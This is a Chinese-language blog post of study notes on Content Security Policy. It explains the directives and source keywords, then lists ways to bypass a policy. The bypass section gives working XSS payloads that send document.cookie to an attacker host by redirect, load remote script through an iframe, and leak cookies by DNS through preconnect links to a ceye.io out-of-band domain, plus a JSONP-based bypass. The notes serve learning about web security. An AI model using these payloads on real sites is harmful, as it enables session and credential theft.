CSP策略以及绕过学习

参考文章:http://www.ruanyifeng.com/blog/2016/09/csp.html
参考文章:https://www.jianshu.com/p/f1de775bc43e
参考文章:https://www.cnblogs.com/afanti/p/12663771.html

什么是CSP策略:

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

如何启用CSP策略:

一种是通过 HTTP 头信息的Content-Security-Policy的字段

一种是通过网页的<meta>标签

CSP是如何解析的:

嵌套在CSP中的策略:

script-src:定义了页面中Javascript的有效来源

style-src:定义了页面中CSS样式的有效来源

img-src:定义了页面中图片和图标的有效来源

font-src:定义了字体加载的有效来源

connect-src:定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源

child-src:指定定义了 web workers 以及嵌套的浏览上下文(如<frame><iframe>)的源

还有个就是:default-src

default-src :一次性包括了上面的所有

接下来再讲下关于内容源:

其实内容源可以理解为上面的策略中的实际策略是什么!

内容源有三种:源列表、关键字和数据

源列表:

http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)

mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)

https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)

比如CSP策略为:<meta http-equiv="Content-Security-Policy" content="script-src dz.com">,那么只允许dz.com这个域下的资源才能够进行引入

那么只有访问为http://dz.com/test.php?csp=<script src="http://dz.com/1.js"></script>,只有1.js才可以被引入被触发

关键字:

'none':代表空集;即不匹配任何 URL。两侧单引号是必须的

'self':代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的

'unsafe-inline':允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的

'unsafe-eval':允许使用eval()等通过字符串创建代码的方法。两侧单引号是必须的。

比如CSP策略为:Content-Security-Policy: script-src 'self' dz.com

比如http://dz.com/test.php?csp=<script src="http://dz.com/1.js"></script>,这种情况只能在dz.com域下才能进行引入script资源

如果CSP策略为:Content-Security-Policy: script-src 'none' dz.com,这种情况也是一样的,script-src包括了两者,nonedz.com,后者会覆盖前者,那么也就是允许script-src引入dz.com域下的资源,那么就跟上面的效果是一样的!

data:允许data: URI作为内容来源

mediastream:允许mediastream: URI作为内容来源。

比如CSP策略为:Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

这里拿一段标签中的CSP策略来进行解释:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置:

1、脚本script的src只信任当前域名(满足同源策略的条件)
2、<object>标签中的src不信任任何URL,即不加载任何资源
3、样式表style中只信任cdn.example.org和third-party.org
4、框架(frame):必须使用HTTPS协议加载
5、其他资源:没有限制

如何绕过CSP策略:

第一种重定向绕过

在CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">的情况下

绕过:<script>window.location.href='http://xxx.xxx.xxx.xxx/xxe/1.php?file='+window.btoa(document.cookie);</script>

第二种情况下的CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'none' 'unsafe-inline'">的情况下

绕过:<script>window.location.href='http://xxx.xxx.xxx.xxx/xxe/1.php?file='+window.btoa(document.cookie);</script>

其实上面两个都是通过重定向来进行绕过的,主要是看'unsafe-inline'

第二种通过加载iframe来dns带外传输

在CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">

绕过:<script>f=document.createElement("iframe");f.id="pwn";f.src="./1.txt";f.onload=()=>{x=document.createElement('script');x.src='//ttttttttttt.com/1.js';pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);</script>

ttttttttttt.com域名下的1.js文件内容

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i = 0; i < dcl.length; i++) {
    console.log(dcl[i]);
    n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".0wtpsg.ceye.io\">";
    console.log(n0.innerHTML);
}

第三种通过jsonp来进行绕过

csp策略为script-src 'self'的情况

如果当前站点下存在xss/xss.php?content=xss_injection

但是同时也存在jsonp的/jsonp.php?callback=<script>alert(1)</script>

那么通过xss注入script脚本,其script的src属性为jsonp的xss,其payload为/xss.php?content=<script src="/jsonp.php?callback=<script>alert(1)</script>"></script>,那么同样也可以绕过

posted @ 2020-05-27 20:06  zpchcbd  阅读(863)  评论(0编辑  收藏  举报